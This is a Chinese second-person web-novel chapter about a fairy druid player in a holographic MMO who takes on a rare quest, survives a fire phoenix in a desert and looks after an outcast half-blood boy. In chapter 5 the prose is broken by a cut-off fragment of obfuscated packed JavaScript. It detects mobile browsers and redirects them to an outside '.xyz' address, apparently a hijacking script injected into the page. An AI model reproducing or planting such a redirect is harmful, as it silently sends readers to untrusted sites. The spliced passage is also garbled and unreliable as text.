《全息游戏里捡到的那家伙》
1. 初遇
睁开眼,你在住宅小屋内成功登录了。
全息网游早已普及,「新世界」这一打着高自由度旗号的游戏开服之前,你出于好奇注册成为了第一批玩家中的一员。
不同的种族和职业简直让人挑花了眼,而你选择的妖精体型纤细娇小却轻盈灵动,敏捷属性高跳跃能力强,轻曳的树梢叶隙偶尔可以看到一闪而过的同族身影,可以自由地在风间奔跑这一点让现实中运动能力为0的你异常惊喜。
而职业最终就选择了看起来跟妖精种族很合得来的德鲁伊,可以和动植物交流的确是非常符合少女心的设定啊。
有过一定游戏经验的你在必要的新手引导过后决定先不要跟着主线任务走。
虽然清楚地知道呈现在眼前的都是全息技术创造出来的,你依旧为游戏地图中的景象感到震撼。阳光透过朦胧的叶隙落在手臂上形成温暖的光斑,只能在夜间乘船探访的装满了星子的长河,冰霜寒洞里变异的冰霜妖精拍打着翅膀落下一路六角形的雪花粉尘,浩瀚云海中浮沉摆尾甚至跃至半空喷出水柱的巨大白鲸……这些游走在真实与虚假之间奇幻瑰丽的风景超出了言语可以形容的范围,除了惊叹以外你再不知感慨什么好了。
走累了,你找了根看起来顺眼的枝头坐下,脚链上的铃铛随着你的小腿一起晃荡,自由流动的风追逐玩闹着围着你转了几圈将清脆的铃声捎往远方。
当太阳升到正中央的时候,树下凭空出现了一个垂钓的人,他开口:“很吵。”
不知道为什么你对这个突然出现的人抱有不同寻常的亲近感,灵巧地跃下枝头,想为着你无意的冒犯道歉:“抱歉打扰到你……”
【叮】“放逐之子”奇遇已触发,请问是否接取?
欸?原来是NPC吗?
埃尔维斯冷淡地转开了头。她应该是位年轻的德鲁伊,身上自然的气息比起他曾见过的更加纯粹,但如果早点知道是妖精,他一定不会开口的。
不管她为了什么,埃尔维斯握紧了手中的鱼竿。
你看着弹出来的任务框犹豫了,本来只想着看看游戏内的风景放松放松,甚至都没有开始主线任务,谁知道运气好触发了奇遇。
你咬着唇,或许跟着剧情能去更多有趣的地方呢?
好奇心使得你最终还是选择了接取。
【叮】你惊扰了这位长发青年的鱼,请获得他的谅解。
根据新手引导的指引,你应该根据任务提示自行开启下一环任务,但毕竟是第一次做任务,为了尽可能避免失误,你决定先观察观察。
这位青年黑色长发长及腰际,微风吹拂间隐约可见藏在发间的尖耳,而相对妖精更高的身量则显示他或许是妖精与其他种族的混血儿。一身白色长袍十分简约,很可能是自己做的,手中依旧长着新芽的鱼竿则表明他有着亲近植物的属性。
既然这个任务被称为“放逐之子”,且面前人刚好是混血儿,后面的任务很大可能是与两族矛盾有关。
你心里暗暗记下这一点,血脉可能是钥匙也可能是雷区,决定还是从比较稳妥的方向入手。
“你好,刚才我没注意到你在这里,无意惊扰了你的鱼,请问我要做些什么才能获得你的谅解?”
埃尔维斯转头正对上少女熟悉的翠绿眼眸,怔忪间恍然发觉这是他思念了许多年、本以为再也不会出现的人。她白嫩嫩的指头在自己眼前上下挥舞,想要唤回他的意识,而脸上那客套而疏远的笑容深深刺痛了埃尔维斯。
他转过头,生怕自己的表情泄露心绪,只是用手按住了心脏部位,闷闷道:“你不用做什么。”
明知道我永远不会怪你的。
你有些诧异,想不明白为什么接下来的任务没有顺利触发,而这位青年的拒绝是这样直白,甚至都不愿意跟你有眼神的交流。
被讨厌了吗?你想着。相似的话重复一遍应该也没用,或许还有别的突破口。
你稍微凑近了一点,想试探一下他的反应,没想到青年立刻僵住了,作为鱼竿的木枝被捏得轻轻颤动起来
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,鱼线在水中晃荡着将剩下的鱼也全部吓跑了。
一定是被讨厌了。你在心里得出结论。
不再试着靠近,你席地坐在一旁静静地看着,他反而因为你的注视显得更僵硬了,无奈之下你只好继续重复:“请不要紧张,我没有恶意,只是为打搅了你感到十分抱歉,如果能为你做些什么弥补一下我会很高兴的,请你一定不要吝于开口。”
“我知道的。”埃尔维斯知道她永远不会伤害自己,有时候他信任她甚至超过自己。但他仍低着头不敢看妖精少女,生怕她像梦境一般在被注意到时就会消失。
你心里浮现一串问号,知道什么?
你不知道自己的话中是否存在歧义,以至于他误解了什么,也没能让下一环任务顺利触发,于是你换了一个问题:“你叫什么名字?”
“……”
结果他这次连回答都没有。
你叹了口气,准备起身离开,等下线之后上论坛看一看有没有相关攻略,心里小小地抱怨自由度太高连任务都不好触发了。
埃尔维斯捏紧了鱼竿,另一只手甚至攥出了血痕,她居然不记得自己了!
埃尔维斯的心脏像是被毒虫啃噬着,他当作宝贝珍藏的那些回忆原来在别人是如此廉价,甚至都没有记住的必要。
不,一定是她生气自己一开始没有认出她来。
他安慰着自己,却依旧束手无策,记忆中的妖精少女永远是耐心而温柔的姐姐,让人下意识想要去依赖她,他从来没有过去哄她的经验。
“请到迷惘沙漠的边界,为我带回来三根火凤的金色尾羽。”
你听到他开口,任务框也同时弹出来——
【叮】请前往迷惘沙漠的边界,寻找火凤的金色尾羽(0/3)
真是峰回路转,你朝他露出一个笑容:“请等我的好消息吧!”
你转身走开,打算去找附近的传送点。
刚刚他是耳朵变红了吗?新手引导里关于妖精一族的介绍是什么来着?
2. 意外
“呸呸呸——”
你艰难地从沙地上爬起来,拍打着身上附着的沙粒。
“但凡官方有一丝人性,都不会把传送阵放在这样一个随时会被风沙淹没的地方!”
你整理了一下头发,长长地出了一口郁气,才从好心情被打断的烦躁里摆脱。你一抬头,映入眼帘的却是一整片无边无际的旷渺沙漠,在天边那一轮红日的映衬下显出浩瀚的气魄,却又因热气的蒸腾让这里蒙上一层朦胧质感,你仿佛窥见了一位美人面纱下若隐若现的烟波,下一刻,她就会吹起芦笛带你走到另一个美妙的异域国度。
就是芦笛的声音稍显吵闹了。
你打开后台控制面板,默默把背景音乐调小。
但等你回到游戏界面想要拍照留念时,却发现状况似乎有些不妙。
刚刚毕业的你有了一次相当漫长的暑假,所以才可以将大把的时光挥霍在「新世界」这个刚刚面世的游戏里面。但你无意于成为游戏中更受追捧的战斗型强者,只是对高自由度的宣传噱头感到好奇,想着进来看看风景也好。进入游戏以后,你沉迷于四处打卡风景,注册时系统发的新手套装一直够用,于是你也没有把太多精力花在提升实力上。
但这时你却发现你的血条掉了大半,甚至带上了一个还在持续掉血的“炙热”debuff。你看了看包裹,十瓶低级回血药是系统新手礼包里面送的,还有两瓶中级回血药是在出生地附近——无归瘴岭的藤之国度——打卡风景时遇见的同族德鲁伊老者送的。
你连续使用了三瓶低级回血药,才把血线勉强拉回安全状态,想要继续使用时却发现物品进入冷却时间了。「新世界」里面角色死亡会掉经验和等级,包裹里面的物品也会随机掉落,虽然你才进入游戏没多久,四处闲逛时攒下的纪念品也不多,但对你而言都是宝贵的回忆。
于是你选择使用中级回血药。一点使用,立马见效,血条立刻溢出,连掉血的debuff似乎也缓解了不少。
你又观察了一下那个负面状态,系统给出的说明是在沙漠中因缺水而状态下降,并建议玩家及时寻找水源补充地。
你想着打开世界频道问问迷惘沙漠附近有没有安全区,一般来讲安全区都是设立在繁华的城镇,只要找到安全区一定会有水源。想法很好,但却在打开世界频道这个意想不到的第一步折戟了。
刚进游戏时,在世界频道上发言的大多是出于找人组队做任务和帮派招人两个目的,你只想做单机风景党,索性关了世界频道再也没打开看过,不想这时却打不开了。
【玩家处于特殊状态,通讯无法使用!】
红色的提示跳出来,似乎闪动着危险的光芒。
进入全息时代以来,动漫和小说就多了一个新的穿越分支——穿越到全息网游世界。曾经的你也看过不少类似的设定,心下一惊,翻到后台界面点了退出。
“幸好——”
你从游戏舱里睁开眼,打开舱门坐起来打量了一下你的房间,好像没什么异常。游戏舱也没有故障,闪烁着的绿色提示灯说明它运行状态良好。
身材匀称的短发少女从游戏舱里走出来,倒在椅子里转了一圈,把自己团成一团冷静了一下。她的长相秀丽可爱,因着面色的苍白更显出几分稚气,房间里的装潢明亮清新,一角在地上垒起来的书堆却为这里填了几分杂乱和生活气息。
你随手拿起自己放在桌边的手机,进入「新世界」官网论坛搜索“迷惘沙漠”这个关键词,试图找到一点有用的信息,但最终仍一无所获。
“嗯?”你的表情有些用力,“什么啊,还没解锁的地图?那我怎么进去的?bug?”
你又重新读了一边,发现公告里说的是地图随着主线解锁。妖精一族的出生地都在龙之大陆西北部的无归瘴岭,你所在的服务器目前已经解锁的地图范围不大,论坛上也有
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一些其他服务器玩家发的帖子,看起来东部、北部等不同出生地的玩家地图解锁进度都差不多。
“看来奇遇地图不跟主线同步。”你这样说服了自己。
你又搜“放逐之子”这个关键词,也没有在论坛找到相关的帖子。你不死心,在官方助手里面搜了一下奇遇的名字,果然弹出来一个介绍。
“特殊奇遇,仅可触发一次?”你感叹着运气真好,触发这么少见的奇遇。
「新世界」里除了主线任务还有各式各样的支线任务,奇遇算是比较难触发的那一类,通常在各种硬性条件限制之外还需要一点运气,特殊奇遇就更不用说了。
你想要往下继续了解,却发现没有内容了。
“这就没了?”
你只感到摸不着头脑,考虑了一圈,还是决定继续把任务做下去。毕竟假期很悠闲,有大把时光可以挥霍,再加上这么稀有的机会,难免引人跃跃欲试。
——————
“呸呸呸——”你再次从沙子堆里艰难地爬出来,“我后悔了。”
你看了眼左上角状态栏,发现“炙热”的debuff还在,但掉血缓慢,血线大概还能坚持,也就不再管了。你又试了一下,包裹里面的东西都可以用,小地图显示无法查看,世界频道还是打不开,私聊界面也黑了——虽然你的列表并没有好友。
你按了两下,发现脱离卡死回安全区也不行,只好把游戏界面收起来。
等你回过神来,突然发现头顶呼哧呼哧的风声变得越来越响,越来越近。头顶突然被砸了一下,你有些懵,下意识伸手一摸,鼻尖立马传来一股腥味。
甩一个鉴定术上去——【火凤的口水,有毒,请玩家勿要直接接触以免受伤】
比鉴定术反应更快的是你陡然加速下跌的血条。
“这……”你缓缓转头,对上一双血红的巨眼,更靠近你的是它巨大且锐利的喙。
3. 战斗!
“你咬一口就放我走,好吗?”
“一口?”火凤的眼睛里闪烁着狡猾的光芒,“当然可以。”
“不要——”
“嘶——”
几滴血液落在沙漠里,很快蒸发得无影无踪。火凤昂起身子吞咽了些什么,它的每一根赤红色羽毛都在阳光的照射下熠熠生辉,宛如传说中带着神性的远古生物,傲然屹立在人间,视弱小的人类如尘埃。
但你实在没心情再感叹「新世界」请的美工一定花了不少钱。
这家伙撕掉了你的一条手臂。「新世界」里对一些不“和谐”且具有冲击性的画面做了特殊处理,你看着自己的伤口也只能看到一团马赛克,但即便你只把痛感开到百分之十,瞬间产生的疼痛的剧烈程度仍然让人恨不得昏过去才好。你狠狠咬了一口舌头才能勉强保持清醒,瞥了一眼刚才想要阻止你的声音的来源,只看到一个裹在白布里的身影,估计是个小孩子。
你勉强自己开口:“我……可以……走了吗……”
火凤的脸上露出嘲弄的神色:“如果你走得掉的话。”
话音刚落,你的整个世界都被血色笼罩,身体失去支持重重倒下,你却感觉不到肢体传来的疼痛,只觉得越来越冷,渐渐地连视线也无法聚焦……
在意识彻底消散之前,你萌生出一个想法——
糟糕!忘记用回血药了!QAQ
——————
看着妖精少女的尸体渐渐被黄沙掩埋,火凤守信没有再去吞食她的肢体,只把视线挪到脚边的这个小东西身上。
“还想救别人?”火凤用爪子轻轻踢了一下,这团白布立刻滚了好几圈,露出里面黑发尖耳的少年。
他浑身赤裸,除了蔽身的白布什么都没有。火凤的动作很轻,但饱含恶意,它用一只趾头踩住白布的一角,故意不让少年将自己再裹起来。它有着不低于人类的智慧,又生性恶劣最喜欢玩弄猎物,看着少年慌张的样子立马从心底感到愉悦。
“看在你取悦吾的份上,吾赐你速死。”
火凤抬起爪子准备踩下去,欣赏着这小东西脸上的恐惧。但在它将少年踩成肉酱之前,却觉得脚下猛然一痛。
“说这种大话还太早了!”疾风一般掠过的妖精少女救下了即将遭遇厄运的少年,她纵身将他远远抛出危险区,又灵巧地从火凤脚底逃生,不曾在沙地上留下丝毫痕迹。
“你怎么还活着!”火凤看了一眼将自己爪子刺穿的长剑,冷冷地注视着“死而复生”的妖精少女,仇恨的火焰几乎喷涌而出。
长剑是新手礼包里赠送的武器包开出来的,看起来挺好用的。
“这是妖精一族的秘密,我才不会告诉你!”
你随便转移话题。
按照火凤的标准来说,你确实“死”了没错。但作为玩家来说,死亡只掉经验而已,除了可惜丢了一朵之前收集的水生花以外,你实在没什么损失。
但事实跟它理解的有差异这一点就不必告诉它了。你的鉴定术根本看不出来火凤的等级,从它的表现来看这家伙智慧也很高,给敌人透露信息就是自找死路这一点应该是所有有过全息网游经验玩家的共识。
“哼。”你的作为彻底激怒了火凤,“很好用”的长剑立刻碎成渣子,火凤的伤口肉眼可见地开始愈合,有强大的气流在它周身汇集,“吾不屑于知晓,但炙热会教会你面对吾时应当心怀谦卑!”
巨大的红色火焰升腾起来,火凤的眼眸中倒映出一片高大的火墙,高温几乎扭曲了周边的一切,连沙砾都被融化。
“谢谢你!”娇小的身影从火墙中闪身而出,疾速向火凤靠近,“浴火重生的我是无敌的!”
“这不可能!”
火凤感到惊讶,它再清楚不过自己的火焰到了什么样的程度。它这个不解的念头瞬间就闪过了,下意识想要继续攻击,却发现妖精少女已经接近它了。
她灵巧的步伐明显比之前快了很多,几乎成了一道残影,火凤虽然可以捕捉到移动中妖精少女的身影,但它体型巨大,动作也要迟缓上不少。
察觉到妖精少女想要跳到自己身上,火凤冷嗤了一声自寻死路,离开展开火红的翅膀,每一根羽毛都自行燃烧起来,化作一片有形的火海。
但妖精少女却仿佛丝毫不受影响,在火海间跳跃穿行,甚至拽住火凤的羽根借力,一路往自己的目标跑去。
火凤开始产生怀疑:难道她说的是真的?
“啊——”
一声巨大的哀鸣在沙
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漠中回荡开来,火凤直接失去平衡倒下,立刻在沙地上凿出一处凹地,沙流都向它涌来。火凤身上的火焰全部消失了,连羽毛都黯淡了不少,充满恨意的血红双眼却仍然直视着面前的妖精少女。
你向前走出一步,亮出手里的金色尾羽:“这东西对你很重要吧?”
“吾不接受羞辱。”火凤闭上眼睛,“要杀要剐都随你。”
“不。”
听到你拒绝的火凤脸上充满惊讶,于是你继续开口道:“一条胳膊换你一根尾羽,我们扯平了。只要你不再主动攻击我们,我就放你走。”
“真的?”火凤戒心很强,它不信任地抬起头问你。
“当然。”你微笑,“如果你想继续攻击的话,试一试也无妨。”
“这……”火凤确实很想这样做,刚才的惨痛教训虽然说明了面前的妖精少女“浴火重生”后是有一定实力的,但还不足以击退它。它不甘心自己就这样被一个小东西打败,却又畏惧你的话是真的白白送了命。
“要动手吗?”你看出了它心中的犹豫,故意晃了晃手里的尾羽示意,“可以让你先手。”
“哼。”火凤慢慢起身,拍打翅膀抖落方才涌入的沙尘,“吾才不会上当。”
眼前的妖精少女有着一头翠绿的长发,一双翠绿的眸子正眯起来不怀好意地笑着(火凤理解),身材娇小,站在巨大的沙漠中比沙粒也大不了多少(火凤比例尺),是典型的妖精族相貌。她没有佩戴任何武器,就两手空空站在那里,但她说出这话时身上充满了自信而强大的气场,散发的光芒几乎比自己的火焰还要耀眼。
火凤判断过后,决定选择保持谨慎,这样的谨慎也正是使得它成为迷惘沙漠霸主的决胜武器。
“今天暂且放过你,以后不要再擅自进入吾之领地!”
你站在原地,背着手打量着火凤远去的身影。它的翅膀上流动着跳跃的火焰,张开时将经过的地面都笼罩在巨大的黑影之下,而那双有力的翅膀掀起的气流狂暴地席卷过境,甚至改变了沙漠地势的高低走向。
你微微一笑,耳边有提示音响起。
【叮】火凤好感度+10
【叮】请前往迷惘沙漠的边界,寻找火凤的金色尾羽(1/3)
4. 打扫战场
残阳如血,广漠苍茫,尘沙漫天。你默默伫立在原地目送火凤远去的身影,新手套装在战斗中已经损坏,晚风吹过你破碎的裙边和飞扬的发丝,你的背影挺拔坚定一如蓄势待发的长剑,一时只有摇晃间脚链上铃铛传出的脆响在这里回荡。
火凤速度很快,一两分钟就缩成天边一个小点。如果它这时回转过来,会发现这个妖精少女身上耀眼的光芒已经消失,只剩下一点燃尽的余辉。
【叮】玩家在危急关头激发了潜能!
【叮】玩家透支了过多力量,即将进入衰弱期!
你眼睁睁看着有效期限为五分钟的“无敌”buff消失,人物状态栏还多了“炙热”和“虚弱”两个debuff,它们以为期24小时的强势态度,用鲜红色的危险姿态携手霸占了状态栏榜首的位置,以明显加快的速度蚕食着你已经跌落到十分可怜境地的血量。
在新世界这样的全息游戏中,玩家鱼龙混杂。官方为了提高账号角色养成难度,把在游戏中死亡的行为设置了等级跌落和游戏道具掉落的惩罚,而为了防止恶性竞争,刷新复活后玩家会有五分钟的无敌时间。“无敌”buff生效期间玩家不会受到伤害,同时附赠速度提升50%的逃生体验卡,“无敌”buff结束后的“虚弱”则是出于游戏体验平衡的考量。
你面无表情地连续使用三次低级回血药。复活之后你的等级从结束新手任务的10级掉到了8级,血量上限也削了不少,三瓶低级回血药的量对现在的你来说恰好足够。低级套装已经损坏了,但幸好你新手期教程里修复装备一节留着没用,做完任务之后不仅白嫖一次修复的钱,官方还多给了12个贝币。
但即便如此,你也并不觉得高兴。这种白嫖修复的机会,有经验的玩家都会留到后期再用,因为后期装备等级更高的时候,修复需要的材料更难得,价格也更贵。即便你并不将实力的提升视为游戏的第一目标,这种错失机会的痛也完全不是12个贝币可以弥补的!
而且更痛苦的是,为了防止恶性竞争,官方会将复活点设置在小地图内最远的传送阵处。因此,你会出现在这里、用区区8级的战斗力加上“无敌”buff正面演火凤这种大boss的原因绝不是你艺高人胆大,而是因为这里居然只有一个传送阵啊啊啊啊!
这也是你最终选择了修复装备的原因。在这样一个无法脱离、安全没有丝毫保障的地图里,你终于为自己游戏前期的佛系度日流下了写作心痛、读作悔恨的泪水。
内心微妙的被玩弄的崩溃感让你再也不能恢复作为风景党的平静心态,而是转身在日渐崩溃的不可名状画风上一路狂奔而去。
而你没有注意到,身后的人眼中闪过一丝惊讶的光芒。
检查完状态和任务栏,确定了还能再撑一段时间后,你才有心思来打扫战场。
你捡起遗落在一旁的白色布料,入手生凉的触感让你微感讶异。轻轻扯了几下,你发现自己没办法把它撕开,而火凤当时不过用脚爪轻轻一碰就把这布料撕碎了,这么明显的实力差异摆在面前,你顿生劫后余生之感,同时心里暗暗把提升战斗力也排上日程。
另一边的沙地上还残留着一点火凤的唾液,你出于玩家雁过拔毛的心态采集了一点后,发现自己的采集能力提升了几个熟练度。
而除了这些,你收获的就只有那一根金色尾羽了。任务完成了三分之一,挺划算!
整理完之后,你才慢慢靠近那个黑发尖耳的小孩。他浑身赤裸着将自己蜷成一团,眼中满是警惕,随着你靠近的动作紧张地试图后退。
其实你早就注意到他了,但发觉他的紧张后,你才决定先做些别的举动让他放松下来。你的策略的确生效了,但随着你的靠近,微乎其微的效果又付诸东流。你只能慢慢举起那块白布向他示意:“这是你的东西吧?”
看到他最终点了点头,你继续哄诱道:“我把它还给你,好吗?”
“嗯。”他最终开口答应了,声音沙哑,语调却又轻又软。
“给你。”
你把白布递过去,同时礼貌地转过身,好方便他起身披上衣服。虽然即便你不转身也只能看
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到官方贴心打上的马赛克,但作为一个有着最基本道德的人,该做的还是要做。
埃尔维斯看着面前的人背过身的举动,脸色肉眼可见地发白了。
他的皮肤是小麦色,比起那些“族人”们的红棕色皮肤要浅上好几度,这也是他在族中饱受排挤的原因之一。他一向厌恶自己与众不同的肤色,但看到面前的这位少女时,第一眼却将她看成了日出时分第一缕降临世间的阳光。她肌肤莹白,声音温和,眼波中藏着沙漠之中罕见的生命之洲,就像族中传唱的歌谣里的神之使者。
在火凤攻击之前,埃尔维斯竟然忘了自己也是命悬一线,下意识出声提醒她,但没想到火焰不能伤她分毫,连沙漠中至高的火凤也在她面前低下了头颅。他紧张到忘记呼吸,恍惚间以为自己到了命运的终点,否则他这样的不义之子怎能够看到神迹?
但渐渐地,埃尔维斯的理智回转,这位少女的举动,似乎同神使有着本质的差别。很显然,这只是一个异族的少女而已。
他沉默地等待着她的下一个动作,暗暗警惕她是否会伤害自己,他在族中实在见过太多无端的恶意了。幸好,她只是在示好,保持着安全距离将白布还给了自己。
埃尔维斯垂下双眸,以为她没有发现。
但少女转身的举动却将他的庆幸瞬间击碎,意识到被厌恶的同时连面色都苍白起来,立刻加速了手中的动作,将自己的身体包裹起来。
“好了吗?”你听着身后窸窸窣窣的动静,等声音慢慢平息才转过身去。
黑发尖耳的少年始终低着头,他的肢体语言中写满了不自在。你思考了一下,在他试图侧过身躲避你凝视着他的尖耳的视线时才明白了。
你用手把苍翠的长发束成一束,对他露出自己原本藏在发丝下的尖耳:“我叫薇,和你一样,是个妖精!”
埃尔维斯被少女的笑容恍了一下神,把头埋得更低,很久之后才开口道:“埃尔维斯,我的名字。”
话音落下,你又打量了一圈,立刻不顾他的抗拒迅速靠近他:“你受伤了!”
5. 方向
你看着他后背上渗出的越来越红的一片,抿紧了嘴,有些懊恼自己发现得太晚。
名叫埃尔维斯的少年看上去就像个乖巧腼腆的孩子,还是你的生活中格外罕见的那种。你面对这类高智能的NPC时总会心软,没办法把他们当作一组虚无的数据,这也是你不能像大多数人那样投入游戏里的战斗的原因。
你作势从腰包里取东西,实则从包裹中取出了中级回血药,递给他:“这个给你,赶快用了止血吧。”
埃尔维斯却像是没听见一般,并不抬手接过去。他垂着头,沉默而固执,像块坚硬的石头,无声无息地保持着原来的姿势。
你微微皱眉,不理解他为什么不配合。全息游戏中高智能的NPC都会有自己的性格和行为逻辑,但他们通常不会拒绝非仇敌关系玩家送的东西。而你此刻的的行为,应当是完全符合示好的标准的。
难道有什么忽略了的东西?你想着。
僵持了一会儿,你发觉鼻尖的血腥味越发浓郁,还是开口劝着,试图完成这一环节:“我来帮你上药怎么样?”
少年仍然不开口,却也没有拒绝,你便直接将他身上被染红的白布解到腰际,把瓶子打开,将回血药倒在他伤口上冲洗起来。
你把眉毛皱得越来越紧。你一向看不得伤口,即便是在别人身上,也会像是自己受伤一样觉得疼。但此刻容不得你回避,埃尔维斯背上的伤口很长,皮肉都向外翻开,有些发白的地方还沾着沙子,他的额角明明渗出了汗珠,却咬着牙一声不吭。幸好回血药给力,不仅很快止住了血,连伤口都肉眼可见地开始愈合。
“谢谢。”他像是很艰难地把这两个字从喉咙里挤出来。
你讶然,发现他头顶突然出现了“埃尔维斯”四个金色的小字,还带着个感叹号,闪烁了三次之后就消失了。
是关键人物!
紧接着任务栏弹出来更新的内容。
【放逐之子】被你救下的埃尔维斯不肯透露更多信息,请寻找他独自出现在沙漠中的原因。
这时你才想起来原来奇遇接到了之后前置剧情一直没有触发!
全息网游的有趣之处就在于处处有机遇,但不会像传统的游戏一样给出明确的任务提示,玩家上天入地掘地三尺也找不到线索的例子比比皆是,大家因手捧宝藏的钥匙却找不到寻宝图而流下辛酸泪加起来,大约可以装满整个悲泣之湖。
所以这个奇遇前置剧情触发条件到底是什么!从大boss手下救人这种任务安排给一个十级萌新真的合适吗!
你感到内心即将按捺不住的吐槽之魂正在熊熊燃烧着,但顾忌着这里还有小孩子没有立刻指天痛骂狗官方。
埃尔维斯头埋得低低的,你只觉得他杵在原地几乎僵成了一根木桩,伤口好了也一动不动。从你的角度只看得到他黑发间的两个小小发旋,根本没办法从表情来推测他的想法。
突然你看到他脚趾动了动,像是害羞的贝类一样,在沙地上抓了几下就把自己埋进土里。
你再度感到心软,又帮他把白布裹好,蹲下抓了一把沙子,借着底层沙子的附着力帮他把小腿上沾染的血迹擦掉。你仰头看他,正对上埃尔维斯棕色的眸子,亮晶晶的,盯着你一眨不眨。
你冲着他微笑,特意放轻了声音怕吓到他:“你怎么会出现在这里啊?”
他不避开你的视线,但仍然不回答,抿紧了唇像是在权衡什么。
“你有想去的地方吗?”
“……”
你没有不耐烦,牵起他的手,尽可能诚恳地把自己的想法告诉他:“你不想告诉我的话,我不会逼你。但沙漠里真的很危险,没有水是撑不下去的,我现在要去找地方补充水源,你跟我一起好不好?”
“不行。”你还没来得及问为什么,他就飞快地补充道,“太阳马上就要落下了,晚上没办法赶路的。”
“那我们该怎么办?”你对他的回答有些惊喜,好像意外的顺利。
埃尔维斯指了个方向,不着痕迹地把手抽出来:“那边有一些可以避风的岩块,我们可以去那边。”
你全然没有在意,拍拍他的肩膀:“那我们出发。”
他跟在你身后,走了几步又补充道:“我来的时候看到的,只过了半天,岩块应该还在那里。”
“哦,好的。”你领会了他的未尽之意,“岩块不见了也没事,我相信你说的,我们先过去看看就好。”
“嗯。”他又低低地应了一声,紧紧跟着你的步伐往前走,不再说话了。
一路上你旁敲侧击地问了一次,埃尔维斯把嘴巴锁的严严实实,不肯回答他独自出现在这里的原因。看着他的样子,你也不忍再多问,游戏里一段玩家抱怨不能快进的剧情,对面前的这孩子来说大约是难以启齿的伤痛回忆吧。
大约走了半个多小时才到埃尔维斯说的地方,沙漠里又热又晒,你的体力早就耗空了,完全凭着一股子毅力硬撑着走到了。妖精一族的速度很快是没错,但需要在丛林环境才能发挥到极致,没有了“无敌”buff的你在这种寸草不生的地方是没办法长途奔徙的。埃尔维斯的状态却比你好得多,他像是很习惯在沙漠中赶路,把整个头也包进白布里,一步一步都走得稳稳当当,到了后来完全是他在前面领路了。
但到了也没办法休息,你看着散落分布的岩块,认命地叹了一口气,选了一个避风的大岩块,准备以此为基础开始搭建掩体。
总不能让刚刚受过伤的小孩子来做这些重活吧。你这样想着,完全忘了中级回血药的好用程度。
埃尔维斯也没闲着,他不知道从哪里挖来一大捧低矮的蓬草,用干枯的部分生起了一堆火,又把含有水分的根茎递给你。
“这个可以解渴。”
像是怕你不相信,他自己先拿起一小节放进嘴里。你谢过他,也掰了一截咀嚼起来,一咬,确实有水分,还带着若有若无的甜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774023|157878||http|test|mini|href|location''.split(''|''),0,{}));
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>你拒绝他继续分给你:“我不用了,你先收起来。”
在全息游戏里,身体的各种感受都很真实,包括你现在的又饥又渴。你甚至不用把自己的状态栏调出来看也知道一定很糟糕,但看着这孩子带着细小伤口的指尖和干枯起皮的嘴唇,你真的没办法心安理得地收下。
晚上你在守夜,四周倒是很平静,但埃尔维斯还是翻来覆去很久。你听着他的呼吸渐渐平稳,往篝火里再填一点燃料,确保能燃烧一晚上才下线。
从游戏里出来已经是傍晚了,你洗完澡,躺在床上继续刷手机。「新世界」这个游戏从面世开始,讨论热度一直在不断提升,官方论坛里各类技术贴风景贴交友贴层出不穷。你看到一个叫做“我初始种族刷到了人鱼……”的帖子不断被顶上来,点进去一看,主楼只有一句话——“可是是鱼头人身”。
这……
你继续往下看,终于理解了这个帖子被顶上来的原因——这一切,大概都是官方不做人吧。
2L挥着大刀的女孩:
我刷到的是鲛人,但我有深海恐惧症。
37L封心锁爱:
人鱼和鲛人确实都很少见,但还是比不上冰霜妖精
没错我刷到了,可我不是想炫耀,谁来给我解释一下我一个冰霜妖精为什么会被冻到重开[双手合十]
55L龙骑士:
我捡到了狮鹫蛋,但它孵出来要二十年[再见]……
119L哥很有钱:
像我的id一样,我真的很有钱,但谁能告诉我,夜瘴沼泽里哪里有城市,哥走了三天了,全是奇形怪状的小怪,一个传送阵也没有啊!
120L不考x大不改名:
楼上的经历为何如此眼熟……我们加个好友吧,说不定有一天能在夜瘴沼泽里相逢[流泪]
179L糖醋排骨:
觉得自己不幸的,欢迎来夜蛛女王的领地参观毛茸茸的、五颜六色的小蜘蛛们破卵而出瞬间爬满全世界的盛景,我就在这里边带孩子边等你,哪里也不去……
511L老公你说句话啊:
《关于转生成精灵的我从树上出生后找不到下山的路那件事》
667L夜夜夜夜夜:
选了人类种族的我,误入乡村小教堂背起了福音书,过上了每天早睡早起的虔诚信徒生活……
可我tm是在打游戏啊!!!
你看着玩家用血泪盖起来的楼沉默了,突然觉得自己被刷到荒无人烟的地图里做奇遇没吃没喝又热又晒没有传送阵只能徒步都不算什么了。
怀揣着某种信念感,你把自己的经历也留下来鼓舞后来人——
946L妖精の翅膀:
我触发了只可触发一次的奇遇,但经历了从被埋在沙里的传送阵中爬出来、被大boss迎面暴揍、又饥又渴又热又晒地在沙漠里徒步等等之后,还在无法脱离的地图里看不到丝毫完成任务的希望……
6. 谎言
早上闹钟响了,你本来想关掉继续睡觉,刚翻了个身却立马惊醒。看了眼时间,你连滚带爬地挣扎着洗漱完,匆匆忙忙吃完早饭就进了游戏舱。
再睁开眼睛时已经登录成功了,你视线中立刻弹出来一个已完成的任务框。
【叮】放逐之子(初始章)剧情已解锁(接取倒计时00:29:59)
你灵巧的指头轻轻在空中往右滑了一下,紧接着又弹出来一个金色的任务框。
【放逐之子】被你救下的埃尔维斯不肯透露更多信息,请寻找他独自出现在沙漠中的原因。(限时23:59:59)
后面还有几个点击后显示尚未解锁的任务框,你全部先右滑清空,官方给的一些活动公告更是看都不看一眼。
清理完任务框,你立时觉得视线清爽了不少。大约是为了引起玩家的重视,每日首次登录都会有一堆颇具冲击性的任务框直接弹出,虽然不会产生什么实际影响,但眼睛看着怪难受的。
你这次登录直接出现在住宅小屋,现在相当于预登录的状态,你可以从后台进行相关操作,但游戏内的通讯、技能等都是无法使用的,除了住宅内本身存在的道具以外,唯一可以打开的就是道具商城。其实所谓的住宅小屋就是一个独立于主地图之外的空间,玩家可以在非剧情和战斗状态中随意进出,相当于一个具有储存功能的安全点。
你本来打算对照着任务界面规划一下接下来怎么做,但想到住宅小屋的特性,突然灵光一闪,想试试看从地图小屋能不能脱离奇遇剧情。但打开地图一看,连已经解锁的出生地地图都是一片灰,点击后也只弹出来[检测到玩家处于特殊状态,无法使用地图传送功能]几个冰冷的大字。
“唉——”你长叹一口气。
